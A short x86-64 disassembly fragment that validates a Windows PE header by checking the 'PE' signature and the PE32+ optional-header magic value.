movsxd rcx, dword [rax + 0x3c]
add rcx, rax
cmp dword [rcx], 0x4550
je 0x1400023a8
mov rax, rdx
ret
cmp word [rcx + 0x18], 0x20b
cmove rdx, rax
mov rax, rdx
ret